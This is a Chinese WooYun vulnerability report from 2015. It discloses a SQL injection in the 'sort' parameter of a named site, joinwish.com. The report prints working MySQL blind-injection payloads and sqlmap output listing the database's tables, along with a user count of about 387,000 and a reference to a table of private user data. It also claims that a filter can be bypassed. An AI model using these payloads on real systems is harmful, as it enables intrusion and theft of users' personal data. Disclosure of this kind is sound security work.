当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-091822

漏洞标题:好愿网主站SQL注射全站数据告急

相关厂商:joinwish.com

漏洞作者: 路人甲

提交时间:2015-01-14 19:00

修复时间:2015-01-19 19:02

公开时间:2015-01-19 19:02

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-01-14: 细节已通知厂商并且等待厂商处理中
2015-01-19: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

233

详细说明:

http://www.joinwish.com/wishdetail_service/loadgivers?id=10076886&page=1&sort=1
参数sort
根据以下测试证明漏洞存在:

h20150114100308.jpg


h20150114100341.png

漏洞证明:

下面用工具跑下:
---
Parameter: sort (GET)
Type: boolean-based blind
Title: MySQL >= 5.0 boolean-based blind - Parameter replace (original value)
Payload: id=10076886&page=1&sort=(SELECT (CASE WHEN (6112=6112) THEN '' ELSE
6112*(SELECT 6112 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))
Type: AND/OR time-based blind
Title: MySQL >= 5.0 time-based blind - Parameter replace
Payload: id=10076886&page=1&sort=(SELECT (CASE WHEN (4396=4396) THEN SLEEP(5
) ELSE 4396*(SELECT 4396 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))
---
[10:01:08] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL 5.0
Database: joinwish_product
[78 tables]
+------------------------------+
| admin_sms_logs |
| alipay_transfer |
| auth_group |
| auth_group_permissions |
| auth_permission |
| auth_user |
| auth_user_groups |
| auth_user_user_permissions |
| base_config |
| brands |
| django_admin_log |
| django_content_type |
| django_session |
| django_site |
| dl_company |
| exchange_2 |
| gateway_audit |
| gateway_audit_result |
| gateway_order |
| in_brands |
| mch_branches |
| mch_commodities |
| mch_functions |
| mch_operators |
| mch_roles |
| mch_roles_mch_functions |
| newgive |
剩下表就不贴出来了。
select count(*) from users: '387168' 接近39万用户
表user_addresses中有用户地址,电话,姓名,账户等详细隐私信息。。。

h20150114140109.png


因网络问题,没跑太多数据证明。

修复方案:

就在前几分钟,貌似把防护程序开启了,不过还是能绕过。
求20rank!!!

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-01-19 19:02

厂商回复:

最新状态:

暂无